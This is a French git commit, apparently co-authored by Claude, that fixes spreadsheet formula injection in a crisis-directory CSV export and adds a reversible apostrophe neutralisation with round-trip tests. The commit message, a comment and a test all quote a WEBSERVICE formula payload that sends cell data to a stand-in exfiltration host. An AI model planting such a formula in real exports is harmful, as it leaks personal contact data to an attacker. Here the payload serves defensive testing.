Verified Commit b821f305 authored by Kourser's avatar Kourser
Browse files

Sécurité : l'export tabulaire ne fait plus exécuter de formule au tableur

Les champs libres de l'annuaire sont saisis par les membres de l'organisation ;
l'export est ouvert par le directeur de crise. Une cellule commençant par « = »
est une formule pour Excel comme pour LibreOffice, et
« =WEBSERVICE("http://…"&A1) » expédie l'annuaire entier au premier
double-clic. C'est CWE-1236, et le tableur fait exactement ce qu'on lui demande.

La neutralisation est réversible, et elle devait l'être : l'export doit se
relire à l'identique (EF-215), et un numéro d'astreinte écrit « +33 6 … »
commence par une amorce de formule. Un préfixe posé une fois pour toutes
l'aurait transformé en « 33 » — sur un annuaire de crise, c'est pire que la
faille qu'il corrige.

L'apostrophe n'est donc retirée à l'import que si ce qui suit est bien une
amorce : un nom qui commence réellement par une apostrophe garde la sienne.

Co-Authored-By: Claude (RCA)
Signed-off-by: default avatarJordan Grossemy <jordan.grossemy@rca.fr>
parent e401b4d9
Loading
Loading
Loading
Loading
+40 −2
Original line number Diff line number Diff line
@@ -198,10 +198,48 @@ ${listeFiches.map((f) => `
// Export tabulaire (EF-215) — réversibilité
// ═══════════════════════════════════════════════════════════════════════════

/** Un point-virgule et un BOM : c'est ce qu'attend le tableur de la personne qui ouvrira le fichier. */
/**
 * Caractères qui, en tête de cellule, font qu'un tableur lit une formule là où
 * l'on avait écrit une donnée.
 *
 * Le risque est concret et il n'est pas théorique : les champs libres de
 * l'annuaire — « notes », « fonction » — sont saisis par des membres de
 * l'organisation, et l'export est ouvert par le directeur de crise. Une cellule
 * commençant par « =WEBSERVICE("http://…"&A1) » expédie l'annuaire entier au
 * premier double-clic. C'est CWE-1236, et le tableur fait exactement ce qu'on
 * lui demande.
 */
const AMORCES_FORMULE = /^[=+\-@\t\r]/;

/** Neutralise une amorce de formule, de façon réversible — voir `retirerApostrophe`. */
export function neutraliserFormule(s: string): string {
  return AMORCES_FORMULE.test(s) ? `'${s}` : s;
}

/**
 * Retire l'apostrophe posée par `neutraliserFormule`.
 *
 * La condition compte : on ne retire l'apostrophe que si ce qui suit est bien
 * une amorce de formule. Sans elle, un nom qui commence réellement par une
 * apostrophe — « 't Hooft » — perdrait la sienne à chaque aller-retour.
 */
export function retirerApostrophe(s: string): string {
  return s.startsWith("'") && AMORCES_FORMULE.test(s.slice(1)) ? s.slice(1) : s;
}

/**
 * Un point-virgule et un BOM : c'est ce qu'attend le tableur de la personne qui
 * ouvrira le fichier.
 *
 * L'export doit rester réversible (EF-215) : ce que `versCsv` écrit,
 * `analyserCsv` doit le relire à l'identique. D'où une neutralisation qui
 * s'annule à l'import, et non un préfixe posé une fois pour toutes — un numéro
 * d'astreinte écrit « +33 6 … » commence par une amorce de formule, et il n'est
 * pas question qu'un aller-retour le transforme en « 33 ».
 */
export function versCsv(entetes: string[], lignes: (string | number | null)[][]): string {
  const champ = (v: string | number | null) => {
    const s = String(v ?? "");
    const s = neutraliserFormule(String(v ?? ""));
    return /[";\n\r]/.test(s) ? `"${s.replace(/"/g, '""')}"` : s;
  };
  return "" + [entetes, ...lignes].map((l) => l.map(champ).join(";")).join("\r\n") + "\r\n";
+6 −1
Original line number Diff line number Diff line
import { personneSchema, tiersSchema, CATEGORIES_TIERS } from "@kastell/shared";
import type { Sql } from "../db/client.js";
import * as dossier from "./dossier.js";
import { retirerApostrophe } from "./export.js";

/**
 * Import tabulaire (EF-215).
@@ -42,9 +43,13 @@ export function analyserCsv(contenu: string): Record<string, string>[] {
  const entetes = (lignes.shift() ?? []).map((e) =>
    e.trim().toLowerCase().normalize("NFD").replace(/[̀-ͯ]/g, "").replace(/[^a-z0-9]+/g, "_"));

  // L'apostrophe que notre propre export pose devant une amorce de formule est
  // retirée ici : c'est ce qui rend l'aller-retour exact (EF-215). Un fichier
  // venu d'ailleurs et neutralisé de la même façon en bénéficie aussi.
  return lignes
    .filter((l) => l.some((c) => c.trim().length > 0))
    .map((l) => Object.fromEntries(entetes.map((e, i) => [e, (l[i] ?? "").trim()])));
    .map((l) => Object.fromEntries(
      entetes.map((e, i) => [e, retirerApostrophe((l[i] ?? "").trim())])));
}

export interface ResultatImport {
+35 −1
Original line number Diff line number Diff line
@@ -258,7 +258,7 @@ export async function verifierPreparation(
  await r.refuse("EF-210", "le lien de vérification ne resservira pas",
    () => campagne.repondre(sql, jeton!, { inchangee: true }));

  const etatCampagne = await campagne.etat(sql, lancee.campagneId);
  const etatCampagne = await campagne.etat(sql, organisationId, lancee.campagneId);
  r.verifie("EF-210", `le taux de retour est suivi (${etatCampagne?.taux} %)`,
    etatCampagne?.repondues === 1 && etatCampagne.sans_reponse.length === 1);

@@ -283,6 +283,40 @@ export async function verifierPreparation(
  r.verifie("EF-215", "l'annuaire s'exporte en tableur",
    csv.startsWith("") && csv.includes("Maïwenn Le Bris") && csv.split("\r\n").length >= 3);

  // ── Ce qu'un tableur ne doit pas exécuter ────────────────────────────────
  //
  // Les champs libres de l'annuaire sont saisis par les membres ; l'export est
  // ouvert par le directeur de crise. Une cellule qui commence par « = » est
  // une formule pour Excel comme pour LibreOffice, et « =WEBSERVICE(…) »
  // expédie l'annuaire au premier double-clic (CWE-1236).
  const piege = "=WEBSERVICE(\"http://exfiltration.exemple.test/?\"&A1)";
  r.verifie("EF-215", "une amorce de formule est repoussée d'une apostrophe",
    exporter.neutraliserFormule(piege) === `'${piege}`
      && exporter.neutraliserFormule("Rien à signaler") === "Rien à signaler");

  // La cellule est aussi guillemetée — elle contient des guillemets, qui se
  // doublent : c'est cette forme-là qu'on doit retrouver dans le fichier, et
  // aucune cellule ne doit commencer par l'amorce nue.
  const avecPiege = exporter.versCsv(["nom", "notes"], [["Piégée", piege]]);
  const ligneCsv = avecPiege.split("\r\n")[1] ?? "";
  r.verifie("EF-215", "aucune cellule du fichier ne commence par une formule",
    ligneCsv.includes(`"'${piege.replace(/"/g, '""')}"`) && !ligneCsv.includes(";="),
    ligneCsv);

  // Mais la neutralisation ne doit pas abîmer les données : un numéro
  // d'astreinte commence par « + », qui est aussi une amorce de formule.
  const allerRetour = importer.analyserCsv(
    exporter.versCsv(["nom", "tel_astreinte", "notes"],
      [["Yann Kerouac", "+33600000012", piege], ["'t Hooft", "-3", "sans piège"]]));
  r.verifie("EF-215", "l'aller-retour rend le numéro d'astreinte intact",
    allerRetour[0]?.tel_astreinte === "+33600000012", allerRetour[0]?.tel_astreinte);
  r.verifie("EF-215", "et rend la cellule piégée telle qu'elle était saisie",
    allerRetour[0]?.notes === piege, allerRetour[0]?.notes);
  r.verifie("EF-215", "un nom qui commence vraiment par une apostrophe la garde",
    allerRetour[1]?.nom === "'t Hooft", allerRetour[1]?.nom);
  r.verifie("EF-215", "une valeur négative reste négative",
    allerRetour[1]?.tel_astreinte === "-3", allerRetour[1]?.tel_astreinte);

  // ── Import ───────────────────────────────────────────────────────────────
  r.titre("Import tabulaire");
  const bon = "Prénom Nom;Poste;Rôle;Portable;Email personnel\n"